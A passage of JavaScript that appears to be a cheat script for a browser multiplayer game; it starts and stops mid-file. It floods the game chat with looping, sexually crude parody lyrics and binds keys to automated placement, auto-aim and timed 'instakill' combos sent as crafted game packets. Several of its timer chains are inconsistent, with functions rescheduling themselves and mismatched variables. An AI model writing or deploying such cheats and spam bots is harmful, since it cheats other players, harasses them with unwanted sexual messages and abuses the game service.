clearTimeout(ChatSpam50);
ChatSpam11 = setTimeout(function(){ ChatSpamFC51(); }, 2000);
}
function ChatSpamFC51() {
doNewSend(["ch", ["Cum, Cum, Cum"]]);
clearTimeout(ChatSpam51);
ChatSpam12 = setTimeout(function(){ ChatSpamFC52(); }, 2000);
}
function ChatSpamFC52() {
doNewSend(["ch", ["I'm gonna Cum as a flash"]]);
clearTimeout(ChatSpam52);
ChatSpam13 = setTimeout(function(){ ChatSpamFC53(); }, 2000);
}
function ChatSpamFC53() {
doNewSend(["ch", ["Tonight, I'll Cum"]]);
clearTimeout(ChatSpam53);
ChatSpam14 = setTimeout(function(){ ChatSpamFC54(); }, 2000);
}
function ChatSpamFC54() {
doNewSend(["ch", ["(to be the winner)"]]);
clearTimeout(ChatSpam54);
ChatSpam15 = setTimeout(function(){ ChatSpamFC55(); }, 2000);
}
function ChatSpamFC55() {
doNewSend(["ch", ["Yeah, yeah, yeah"]]);
clearTimeout(ChatSpam55);
ChatSpam16 = setTimeout(function(){ ChatSpamFC56(); }, 2000);
}
function ChatSpamFC56() {
doNewSend(["ch", ["I'm gonna Cum on the gas"]]);
clearTimeout(ChatSpam56);
ChatSpam17 = setTimeout(function(){ ChatSpamFC57(); }, 2000);
}
function ChatSpamFC57() {
doNewSend(["ch", ["And you'll see the big show"]]);
clearTimeout(ChatSpam57);
ChatSpam18 = setTimeout(function(){ ChatSpamFC58(); }, 2000);
}
function ChatSpamFC58() {
doNewSend(["ch", ["Gonna take my Dick,"]]);
clearTimeout(ChatSpam58);
ChatSpam19 = setTimeout(function(){ ChatSpamFC59(); }, 2000);
}
function ChatSpamFC59() {
doNewSend(["ch", ["do you like my Dick?"]]);
clearTimeout(ChatSpam59);
ChatSpam20 = setTimeout(function(){ ChatSpamFC60(); }, 2000);
}
function ChatSpamFC60() {
doNewSend(["ch", ["'Cause I'm crazy, hot and ready"]]);
clearTimeout(ChatSpam60);
ChatSpam21 = setTimeout(function(){ ChatSpamFC61(); }, 2000);
}
function ChatSpamFC61() {
doNewSend(["ch", ["but you like it"]]);
clearTimeout(ChatSpam61);
ChatSpam22 = setTimeout(function(){ ChatSpamFC62(); }, 2000);
}
function ChatSpamFC62() {
doNewSend(["ch", ["I wanna Cum for you"]]);
clearTimeout(ChatSpam62);
ChatSpam23 = setTimeout(function(){ ChatSpamFC63(); }, 2000);
}
function ChatSpamFC63() {
doNewSend(["ch", ["(Shall I Cum now?)"]]);
clearTimeout(ChatSpam63);
ChatSpam24 = setTimeout(function(){ ChatSpamFC64(); }, 2000);
}
function ChatSpamFC64() {
doNewSend(["ch", ["Cum, Cum, Cum"]]);
clearTimeout(ChatSpam64);
ChatSpam25 = setTimeout(function(){ ChatSpamFC65(); }, 2000);
}
function ChatSpamFC65() {
doNewSend(["ch", ["I'm gonna Cum on the gas"]]);
clearTimeout(ChatSpam65);
ChatSpam26 = setTimeout(function(){ ChatSpamFC66(); }, 2000);
}
function ChatSpamFC66() {
doNewSend(["ch", ["Tonight, I'll Cum"]]);
clearTimeout(ChatSpam66);
ChatSpam27 = setTimeout(function(){ ChatSpamFC67(); }, 2000);
}
function ChatSpamFC67() {
doNewSend(["ch", ["(and be your lover)"]]);
clearTimeout(ChatSpam67);
ChatSpam28 = setTimeout(function(){ ChatSpamFC68(); }, 2000);
}
function ChatSpamFC68() {
doNewSend(["ch", ["Yeah, yeah, yeah"]]);
clearTimeout(ChatSpam68);
ChatSpam29 = setTimeout(function(){ ChatSpamFC69(); }, 2000);
}
function ChatSpamFC69() {
doNewSend(["ch", ["I'll Cum so quick as a flash"]]);
clearTimeout(ChatSpam69);
ChatSpam30 = setTimeout(function(){ ChatSpamFC70(); }, 2000);
}
function ChatSpamFC70() {
doNewSend(["ch", ["And I'll be your hero"]]);
clearTimeout(ChatSpam70);
ChatSpam31 = setTimeout(function(){ ChatSpamFC71(); }, 2000);
}
function ChatSpamFC71() {
doNewSend(["ch", ["Cum, Cum, Cum"]]);
clearTimeout(ChatSpam71);
ChatSpam32 = setTimeout(function(){ ChatSpamFC72(); }, 2000);
}
function ChatSpamFC72() {
doNewSend(["ch", ["I'm gonna Cum as a flash"]]);
clearTimeout(ChatSpam72);
ChatSpam33 = setTimeout(function(){ ChatSpamFC73(); }, 2000);
}
function ChatSpamFC73() {
doNewSend(["ch", ["Tonight, I'll Cum"]]);
clearTimeout(ChatSpam73);
ChatSpam34 = setTimeout(function(){ ChatSpamFC74(); }, 2000);
}
function ChatSpamFC74() {
doNewSend(["ch", ["(to be the winner)"]]);
clearTimeout(ChatSpam74);
ChatSpam35 = setTimeout(function(){ ChatSpamFC75(); }, 2000);
}
function ChatSpamFC75() {
doNewSend(["ch", ["Yeah, yeah, yeah"]]);
clearTimeout(ChatSpam75);
ChatSpam36 = setTimeout(function(){ ChatSpamFC76(); }, 2000);
}
function ChatSpamFC76() {
doNewSend(["ch", ["I'm gonna Cum on the gas"]]);
clearTimeout(ChatSpam76);
ChatSpam37 = setTimeout(function(){ ChatSpamFC77(); }, 2000);
}
function ChatSpamFC77() {
doNewSend(["ch", ["And you'll see the big show"]]);
clearTimeout(ChatSpam77);
ChatSpam38 = setTimeout(function(){ ChatSpamFC78(); }, 2000);
}
function ChatSpamFC78() {
doNewSend(["ch", ["Cum, Cum, Cum"]]);
clearTimeout(ChatSpam78);
ChatSpam39 = setTimeout(function(){ ChatSpamFC79(); }, 2000);
}
function ChatSpamFC79() {
doNewSend(["ch",["Yeah, yeah, yeah"]]);
clearTimeout(ChatSpam79);
ChatSpam40 = setTimeout(function(){ ChatSpamFC79(); }, 2000);
}
function ChatSpamFC80() {
doNewSend(["ch",["Cum, Cum, Cum"]]);
clearTimeout(ChatSpam80);
ChatSpam41 = setTimeout(function(){ ChatSpamFC80(); }, 2000);
}
function ChatSpamFC81() {
doNewSend(["ch",["Yeah, yeah, yeah"]]);
clearTimeout(ChatSpam81);
ChatSpam0 = setTimeout(function(){ ChatSpamFC81(); }, 2000);
}
function ChatSpamFC82() {
doNewSend(["ch",["AHHHHHHHHH~~!"]]);
clearTimeout(ChatSpam82);
ChatSpam0 = setTimeout(function(){ ChatSpamFC0(); }, 2000);
}
var ChatSpamgas1;
var ChatSpamgas2;
var ChatSpamgas3;
var ChatSpamgas4;
var ChatSpamgas5;
var ChatSpamgas6;
var ChatSpamgas7;
var ChatSpamgas8;
var ChatSpamgas9;
var ChatSpamgas10;
var ChatSpamgas11;
var ChatSpamgas12;
var ChatSpamgas13;
var ChatSpamgas14;
var ChatSpamgas15;
var ChatSpamgas16;
var ChatSpamgas17;
var ChatSpamgas18;
var ChatSpamgas19;
var ChatSpamgas20;
var ChatSpamgas21;
var ChatSpamgas22;
var ChatSpamgas23;
var ChatSpamgas24;
var ChatSpamgas25;
var ChatSpamgas26;
var ChatSpamgas27;
var ChatSpamgas28;
var ChatSpamgas29;
var ChatSpamgas30;
var ChatSpamgas31;
var ChatSpamgas32;
var ChatSpamgas33;
var ChatSpamgas34;
var ChatSpamgas35;
var ChatSpamgas36;
var ChatSpamgas37;
var ChatSpamgas38;
var ChatSpamgas39;
var ChatSpamgas40;
var ChatSpamgas41;
var ChatSpamgas = true;
function ChatSpamgasFC1() {
doNewSend(["ch", ["I'm ready to go"]]);
clearTimeout(ChatSpamgas1);
ChatSpamgas2 = setTimeout(function(){ ChatSpamgasFC2(); }, 2000);
}
function ChatSpamgasFC2() {
doNewSend(["ch", ["cause I'm burning for you"]]);
clearTimeout(ChatSpamgas2);
ChatSpamgas3 = setTimeout(function(){ ChatSpamgasFC3(); }, 2000);
}
function ChatSpamgasFC3() {
doNewSend(["ch", ["Got this power"]]);
clearTimeout(ChatSpamgas3);
ChatSpamgas4 = setTimeout(function(){ ChatSpamgasFC4(); }, 2000);
}
function ChatSpamgasFC4() {
doNewSend(["ch", ["that is taking me out"]]);
clearTimeout(ChatSpamgas4);
ChatSpamgas5 = setTimeout(function(){ ChatSpamgasFC5(); }, 2000);
}
function ChatSpamgasFC5() {
doNewSend(["ch", ["Yes, I've got a crush on you"]]);
clearTimeout(ChatSpamgas5);
ChatSpamgas6 = setTimeout(function(){ ChatSpamgasFC6(); }, 2000);
}
function ChatSpamgasFC6() {
doNewSend(["ch", ["ready, now, ready, go"]]);
clearTimeout(ChatSpamgas6);
ChatSpamgas7 = setTimeout(function(){ ChatSpamgasFC7(); }, 2000);
}
function ChatSpamgasFC7() {
doNewSend(["ch", ["Gonna take my car"]]);
clearTimeout(ChatSpamgas7);
ChatSpamgas8 = setTimeout(function(){ ChatSpamgasFC8(); }, 2000);
}
function ChatSpamgasFC8() {
doNewSend(["ch", ["Gonna sit in"]]);
clearTimeout(ChatSpamgas8);
ChatSpamgas9 = setTimeout(function(){ ChatSpamgasFC9(); }, 2000);
}
function ChatSpamgasFC9() {
doNewSend(["ch", ["Gona drive along til I get you"]]);
clearTimeout(ChatSpamgas9);
ChatSpamgas10 = setTimeout(function(){ ChatSpamgasFC10(); }, 2000);
}
function ChatSpamgasFC10() {
doNewSend(["ch", ["Cause I'm crazy, hot and ready"]]);
clearTimeout(ChatSpamgas10);
ChatSpamgas11 = setTimeout(function(){ ChatSpamgasFC11(); }, 2000);
}
function ChatSpamgasFC11() {
doNewSend(["ch", ["but you like it"]]);
clearTimeout(ChatSpamgas11);
ChatSpamgas12 = setTimeout(function(){ ChatSpamgasFC12(); }, 2000);
}
function ChatSpamgasFC12() {
doNewSend(["ch", ["I wanna race for you"]]);
clearTimeout(ChatSpamgas12);
ChatSpamgas13 = setTimeout(function(){ ChatSpamgasFC13(); }, 2000);
}
function ChatSpamgasFC13() {
doNewSend(["ch", ["(Shall I go now?)"]]);
clearTimeout(ChatSpamgas13);
ChatSpamgas14 = setTimeout(function(){ ChatSpamgasFC14(); }, 2000);
}
function ChatSpamgasFC14() {
doNewSend(["ch", ["Gas Gas Gas!"]]);
clearTimeout(ChatSpamgas14);
ChatSpamgas15 = setTimeout(function(){ ChatSpamgasFC15(); }, 2000);
}
function ChatSpamgasFC15() {
doNewSend(["ch", ["I'm gonna step in the gas"]]);
clearTimeout(ChatSpamgas15);
ChatSpamgas16 = setTimeout(function(){ ChatSpamgasFC16(); }, 2000);
}
function ChatSpamgasFC16() {
doNewSend(["ch", ["Tonight, I'II fly"]]);
clearTimeout(ChatSpamgas16);
ChatSpamgas17 = setTimeout(function(){ ChatSpamgasFC17(); }, 2000);
}
function ChatSpamgasFC17() {
doNewSend(["ch", ["(and be your lover)"]]);
clearTimeout(ChatSpamgas17);
ChatSpamgas18 = setTimeout(function(){ ChatSpamgasFC18(); }, 2000);
}
function ChatSpamgasFC18() {
doNewSend(["ch", ["Yeah, yeah, yeah"]]);
clearTimeout(ChatSpamgas18);
ChatSpamgas19 = setTimeout(function(){ ChatSpamgasFC19(); }, 2000);
}
function ChatSpamgasFC19() {
doNewSend(["ch", ["I'II be so quick as a flash"]]);
clearTimeout(ChatSpamgas19);
ChatSpamgas20 = setTimeout(function(){ ChatSpamgasFC20(); }, 2000);
}
function ChatSpamgasFC20() {
doNewSend(["ch", ["And I'II be your hero"]]);
clearTimeout(ChatSpamgas20);
ChatSpamgas21 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC21() {
doNewSend(["ch", ["Gas Gas Gas!"]]);
clearTimeout(ChatSpamgas21);
ChatSpamgas22 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC22() {
doNewSend(["ch", ["I'm gonna run as a flash"]]);
clearTimeout(ChatSpamgas22);
ChatSpamgas23 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC23() {
doNewSend(["ch", ["Tonight, I'II fight"]]);
clearTimeout(ChatSpamgas23);
ChatSpamgas24 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC24() {
doNewSend(["ch", ["(to be the winner)"]]);
clearTimeout(ChatSpamgas24);
ChatSpamgas25 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC25() {
doNewSend(["ch", ["Yeah, yeah, yeah"]]);
clearTimeout(ChatSpamgas25);
ChatSpamgas26 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC26() {
doNewSend(["ch", ["I'm gonna step in the gas"]]);
clearTimeout(ChatSpamgas26);
ChatSpamgas27 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC27() {
doNewSend(["ch", ["And you'll see the big show"]]);
clearTimeout(ChatSpamgas27);
ChatSpamgas28 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC28() {
doNewSend(["ch", ["Guess your're ready"]]);
clearTimeout(ChatSpamgas28);
ChatSpamgas29 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC29() {
doNewSend(["ch", ["cause I'm waiting for you"]]);
clearTimeout(ChatSpamgas29);
ChatSpamgas30 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC30() {
doNewSend(["ch", ["It's gonna be so exciting"]]);
clearTimeout(ChatSpamgas30);
ChatSpamgas31 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC31() {
doNewSend(["ch", ["Got this feeling"]]);
clearTimeout(ChatSpamgas31);
ChatSpamgas32 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC32() {
doNewSend(["ch", ["really deep in my soul"]]);
clearTimeout(ChatSpamgas32);
ChatSpamgas33 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC33() {
doNewSend(["ch", ["Let's get out, I wanna go"]]);
clearTimeout(ChatSpamgas33);
ChatSpamgas34 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC34() {
doNewSend(["ch", ["come along, get it on"]]);
clearTimeout(ChatSpamgas34);
ChatSpamgas35 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC35() {
doNewSend(["ch", ["Gonna take my caaaaaaaaaaaah"]]);
clearTimeout(ChatSpamgas35);
ChatSpamgas36 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC36() {
doNewSend(["ch", ["Do you like my c a r?"]]);
clearTimeout(ChatSpamgas36);
ChatSpamgas37 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC37() {
doNewSend(["ch", ["Cause I'm crazy, hot and ready"]]);
clearTimeout(ChatSpamgas37);
ChatSpamgas38 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC38() {
doNewSend(["ch", ["but you like it"]]);
clearTimeout(ChatSpamgas38);
ChatSpamgas39 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC39() {
doNewSend(["ch", ["I wanna race for you"]]);
clearTimeout(ChatSpamgas39);
ChatSpamgas40 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC40() {
doNewSend(["ch", ["Yeah, yeah, yeah"]]);
clearTimeout(ChatSpamgas40);
ChatSpamgas41 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function ChatSpamgasFC41() {
doNewSend(["ch", ["You ready?"]]);
clearTimeout(ChatSpamgas41);
ChatSpamgas1 = setTimeout(function(){ ChatSpamgasFC1(); }, 2000);
}
function mouseCoord() {
return Math.atan2(mouseY - height / 2, mouseX - width / 2);
}
function place(id, angle = Math.atan2(mouseY - height / 2, mouseX - width / 2)) {
doNewSend(["5", [id, null]]);
doNewSend(["c", [1, angle]]);
doNewSend(["c", [0, angle]]);
doNewSend(["5", [myPlayer.weapon, true]]);
}
var repeater = function(key, action, interval) {
let _isKeyDown = false;
let _intervalId = undefined;
return {
start(keycode) {
if(keycode == key && document.activeElement.id.toLowerCase() !== 'chatbox') {
_isKeyDown = true;
if(_intervalId === undefined) {
_intervalId = setInterval(() => {
action();
if(!_isKeyDown){
clearInterval(_intervalId);
_intervalId = undefined;
console.log("claered");
}
}, interval);
}
}
},
stop(keycode) {
if(keycode == key && document.activeElement.id.toLowerCase() !== 'chatbox') {
_isKeyDown = false;
}
}
};
}
const healer = repeater(81, () => {
place(foodType)
}, 0),
boostPlacer = repeater(70, () => {
place(boostType)
}, 0),
spikePlacer = repeater(86, () => {
place(spikeType, Math.atan2(mouseY - height / 0x2, mouseX - width / 2) +
toRad(0xe54324dc82));
}, 0),
millPlacer = repeater(78, () => {
place(millType)
}, 0),
turretPlacer = repeater(72, () => {
place(turretType)
}, 0),
spawnPlacer = repeater(77, () => {
place(spawnpadType)
}, 0);
const healer5412521 = repeater(81, () => {
invisplace(foodType, Math.atan2(mouseY - height / 0x2, mouseX - width / 2) +
toRad(0xe54324dc82));
}, 0),
boostPlacer9563486 = repeater(70, () => {
invisplace(boostType, Math.atan2(mouseY - height / 0x2, mouseX - width / 2) +
toRad(0xe54324dc82));
}, 0),
spikePlacer534895934 = repeater(86, () => {
invisplace(spikeType, Math.atan2(mouseY - height / 0x2, mouseX - width / 2) +
toRad(0xe54324dc82));
}, 0),
mill50293535 = repeater(78, () => {
invisplace(millType, Math.atan2(mouseY - height / 0x2, mouseX - width / 2) +
toRad(0xe54324dc82 + 0));
}, 0),
turretplacer123213231 = repeater(72, () => {
invisplace(turretType, Math.atan2(mouseY - height / 0x2, mouseX - width / 2) +
toRad(0xe54324dc82));
}, 0),
spawnPlacer345345345 = repeater(77, () => {
invisplace(spawnpadType, Math.atan2(mouseY - height / 0x2, mouseX - width / 2) +
toRad(0xe54324dc82));
}, 0);
document.addEventListener('keydown', (e)=>{
if (normalplacer == true) {
spikePlacer.start(e.keyCode);
healer.start(e.keyCode);
boostPlacer.start(e.keyCode);
millPlacer.start(e.keyCode);
turretPlacer.start(e.keyCode);
spawnPlacer.start(e.keyCode);
}
if (invisplacer == true) {
healer5412521.start(e.keyCode);
boostPlacer9563486.start(e.keyCode);
spikePlacer534895934.start(e.keyCode);
mill50293535.start(e.keyCode);
turretplacer123213231.start(e.keyCode);
spawnPlacer345345345.start(e.keyCode);
}
if (e.keyCode == 16 && document.activeElement.id.toLowerCase() !== 'chatbox') {
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [0, 0, 0]]);
if (myPlayer.y < 2400){
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [1, 15, 0]]);
doNewSend(["13c", [0, 11, 1]]);
doNewSend(["13c", [0, 15, 0]]);
} else if (myPlayer.y > 6850 && myPlayer.y < 7550){
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [1, 31, 0]]);
doNewSend(["13c", [0, 11, 1]]);
doNewSend(["13c", [0, 31, 0]]);
} else if (isEnemyNear == true){
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
} else {
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [1, 12, 0]]);
doNewSend(["13c", [0, 11, 1]]);
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
}
}
if (e.keyCode == 49 && document.activeElement.id.toLowerCase() !== 'chatbox') {
autosecondary = false;
autoprimary = true;
setTimeout(() => {
autoprimary = false;
}, 330);
}
if (e.keyCode == 50 && document.activeElement.id.toLowerCase() !== 'chatbox') {
autoprimary = false;
autosecondary = true;
setTimeout(() => {
autosecondary = false;
}, 330);
}
if(e.keyCode == 8 && document.activeElement.id.toLowerCase() !== 'chatbox') {
millToggle = (millToggle + 1) % 2;
if (millToggle == 1) {
} else {
}
};
if (e.keyCode == 220 && document.activeElement.id.toLowerCase() !=='chatbox') {
if (sync == false) {
sync = true;
} else {
sync = false
}
}
if (e.keyCode == 221 && document.activeElement.id.toLowerCase() !=='chatbox') {
if (syncchatok == false) {
syncchatok = true;
} else {
syncchatok = false
}
}
if(e.keyCode == 17 && document.activeElement.id.toLowerCase() !== 'chatbox') {
if (autoInsta == true) {
autoInsta = false;
doNewSend(["ch", ["."]]);
} else {
autoInsta = true;
doNewSend(["ch", [" "]]);
}
}
if(e.keyCode == 66 && document.activeElement.id.toLowerCase() !== 'chatbox') {
doNewSend(["13c", [0, 11, 0]]);
doNewSend(["13c", [0, 21, 1]]);
doNewSend(["13c", [0, 11, 0]]);
doNewSend(["13c", [0, 21, 1]]);
}
if (e.keyCode == 221 && document.activeElement.id.toLowerCase() !== 'chatbox') {
if (whatisthis == true) {
whatisthis = false;
doNewSend(["ch", [" "]]);
} else {
whatisthis = true;
doNewSend(["ch", [" "]]);
}
}
if (e.keyCode == 187 && document.activeElement.id.toLowerCase() !== 'chatbox') {
if (pingy == true) {
pingy = false;
doNewSend(["ch", ["Ping: False."]]);
} else {
pingy = true;
doNewSend(["ch", ["Ping: True."]]);
}
if (pingy == true) {
var ping = document.getElementById("pingDisplay");
ping.replaceWith(document.createElement("e"));
ping.style.fontSize = "12px";
ping.style.color = "#fff";
ping.style.top = "3px";
ping.style.display = "block";
ping.style.zIndex = "999";
document.body.appendChild(ping);
}
if (pingy == false) {
$('#pingDisplay').hide();
}
}
if (Normalinsta == true) {
if(e.keyCode == 82 && document.activeElement.id.toLowerCase() !== 'chatbox') {
insta = true;
gona = false;
autoprimary = true;
autosecondary = false;
autoaim = true;
autoprimary = true;
autosecondary = false;
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["5", [primary, true]]);
doNewSend(["c", [1]]);
doNewSend(["13c", [1, 7, 0]]);
doNewSend(["13c", [1, iH, 0]]);
doNewSend(["13c", [0, iH, 0]]);
setTimeout( () => {
autoprimary = false;
autosecondary = true;
doNewSend(["13c", [1, 53, 0]]);
doNewSend(["13c", [0, 53, 0]]);
doNewSend(["13c", [0, 0, 0]]);
doNewSend(["13c", [1, 53, 0]]);
doNewSend(["13c", [0, 53, 0]]);
doNewSend(["5", [secondary, true]]);
}, 69.5);
setTimeout( () => {
doNewSend(["13c", [0, 0, 0]]);
doNewSend(["c", [0, null]]);
doNewSend(["5", [primary, true]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
if (myPlayer.y < 2400){
doNewSend(["13c", [1, 15, 0]]);
doNewSend(["13c", [0, 15, 0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
} else if (myPlayer.y > 6850 && myPlayer.y < 7550){
doNewSend(["13c", [1, 31, 0]]);
doNewSend(["13c", [0, 31, 0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
} else {
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
}
autosecondary = false;
autoaim = false;
gona = false;
insta = false;
}, 169);
}
}
if (TwoNormalinsta == true) {
if(e.keyCode == 82 && document.activeElement.id.toLowerCase() !== 'chatbox') {
autoaim = true;
autoprimary = true;
autosecondary = false;
insta=true;
gona=false;
doNewSend(["5", [primary, true]]);
doNewSend(["13c", [1, 7, 0]]);
doNewSend(["13c", [0, 7, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [0, 18, 1]]);
doNewSend(["c", [1]]);
setTimeout( () => {
autoprimary = false;
autosecondary = true;
doNewSend(["13c", [1, 53, 0]]);
doNewSend(["13c", [0, 53, 0]]);
doNewSend(["13c", [0, 11, 1]]);
doNewSend(["5", [secondary, true]]);
}, 99.5);
setTimeout( () => {
doNewSend(["c", [0, null]]);
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["5", [secondary, true]]);
doNewSend(["5", [primary, true]]);
autosecondary = false;
autoaim = false;
gona = false;
insta = false;
}, 225.5);
}
}
if(e.keyCode== 84 &&document.activeElement.id.toLowerCase()!=='chatbox'){
doNewSend(["13c", [1, 11, 0]]);
doNewSend(["13c", [0, 11, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 21, 1]]);
}
if(e.keyCode== 67 &&document.activeElement.id.toLowerCase()!=='chatbox'){
doNewSend(["13c", [1, 53, 0]]);
doNewSend(["13c", [0, 53, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 21, 1]]);
}
if(e.keyCode== 71 &&document.activeElement.id.toLowerCase()!=='chatbox'){
doNewSend(["13c", [1, 26, 0]]);
doNewSend(["13c", [0, 26, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 21, 1]]);
}
if(bowinsta==true){
if(e.keyCode==192&&document.activeElement.id.toLowerCase()!=='chatbox'){
autoaim=true;
insta=true;
gona=false;
doNewSend(["5",[secondary,true]]);
doNewSend(["5",[secondary,true]]);
doNewSend(["5",[secondary,true]]);
doNewSend(["5",[secondary,true]]);
doNewSend(["5",[secondary,true]]);
doNewSend(["5",[secondary,true]]);
doNewSend(["c",[1]]);
doNewSend(["2",[nearestEnemyAngle]]);
doNewSend(["13c",[1,53,0]]);
doNewSend(["13c",[0,53,0]]);
doNewSend(["13c",[0,0,1]]);
setTimeout(()=>{
doNewSend(["5",[secondary,true]]);
doNewSend(["5",[secondary,true]]);
doNewSend(["6",[12]]);
doNewSend(["13c",[1,53,0]]);
doNewSend(["13c",[0,53,0]]);
doNewSend(["13c",[0,0,1]]);
doNewSend(["2",[nearestEnemyAngle]]);
},100);
setTimeout(()=>{
doNewSend(["5",[secondary,true]]);
doNewSend(["5",[secondary,true]]);
doNewSend(["6",[15]]);
doNewSend(["13c",[1,53,0]]);
doNewSend(["13c",[0,53,0]]);
doNewSend(["13c",[0,0,1]]);
doNewSend(["2",[nearestEnemyAngle]]);
},200);
setTimeout(()=>{
doNewSend(["13c",[1,53,0]]);
doNewSend(["13c",[0,53,0]]);
doNewSend(["13c",[0,0,1]]);
},220);
setTimeout(()=>{
doNewSend(["13c",[1,7,0]]);
doNewSend(["13c",[0,7,0]]);
doNewSend(["13c",[0,0,1]]);
},320);
setTimeout(()=>{
doNewSend(["5",[primary,true]]);
doNewSend(["5",[primary,true]]);
doNewSend(["c",[0,null]]);
},350);
setTimeout(()=>{
doNewSend(["5",[primary,true]]);
doNewSend(["5",[primary,true]]);
doNewSend(["c",[0,null]]);
doNewSend(["13c",[0,6,0]]);
autoaim=false;
gona = false;
insta = false;
},400);
}
}
if(Spaceinsta==true){
if(e.keyCode == 32 && document.activeElement.id.toLowerCase() !== 'chatbox') { //
space
autoaim = true;
insta = true;
gona = false;
doNewSend(["5", [primary, true]]);
doNewSend(["13c", [1, 7, 0]]);
doNewSend(["13c", [0, 7, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 18, 1]]);
doNewSend(["13c", [0, 18, 1]]);
place(spikeType, myPlayer.dir + toRad(9000000005 + 0));
doNewSend(["c", [1]]);
setTimeout( () => {
doNewSend(["13c", [1, 53, 0]]);
doNewSend(["13c", [0, 53, 0]]);
}, 100);
setTimeout( () => {
doNewSend(["5", [primary, true]]);
doNewSend(["c", [0, null]]);
doNewSend(["13c", [0, 0, 0]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [0, 52, 0]]);
doNewSend(["13c", [0, 21, 1]]);
doNewSend(["13c", [0, 13, 1]]);
doNewSend(["13c", [0, 11, 0]]);
doNewSend(["13c", [0, 21, 1]]);
doNewSend(["13c", [0, 19, 1]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [0, 16, 1]]);
autoaim = false
gona = false;
insta = false;
}, 200);
}
}
if (e.keyCode == 186 && document.activeElement.id.toLowerCase() !== "chatbox") {
if (xdclangen == true) {
xdclangen = false
} else {
xdclangen = true
}
}
if (e.keyCode == 222 && document.activeElement.id.toLowerCase() !== "chatbox") {
if (xdchatgen == true) {
xdchatgen = false
} else {
xdchatgen = true
}
}
if (onetick == true) {
if(e.keyCode == 82 && document.activeElement.id.toLowerCase() !== 'chatbox') {
autoaim = !0;
autoaim = true;
insta = true;
gona = false;
doNewSend(["13c", [1, 53, 0]]);
doNewSend(["13c", [0, 53, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 21, 1]]);
doNewSend(["13c", [1, 53, 0]]);
doNewSend(["13c", [0, 53, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 21, 1]]);
doNewSend(["33", [nearestEnemyAngle, mouseCoord()]]);
setTimeout( () => {
doNewSend(["5", [primary, true]]);
doNewSend(["c", [1]]);
doNewSend(["5", [primary, true]]);
doNewSend(["13c", [1, 7, 0]]);
doNewSend(["13c", [0, 7, 0]]);
doNewSend(["13c", [0, 21, 1]]);
}, 70.5);
setTimeout( () => {
doNewSend(["5", [primary, true]]);
doNewSend(["c", [0, null]]);
doNewSend(["13c", [0, 0, 0]]);
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
autoaim = !1;
autoaim = false;
gona = false;
insta = false;
}, 335);
setTimeout( () => {
doNewSend(["33", [null, mouseCoord()]]);
}, 405);
}
}
if (Smartonetick == true) {
if (e.keyCode == 82 && document.activeElement.id.toLowerCase() !== 'chatbox') {
triggertInstaAlert("Instakill");
if(nearestEnemy[9] == 6) {
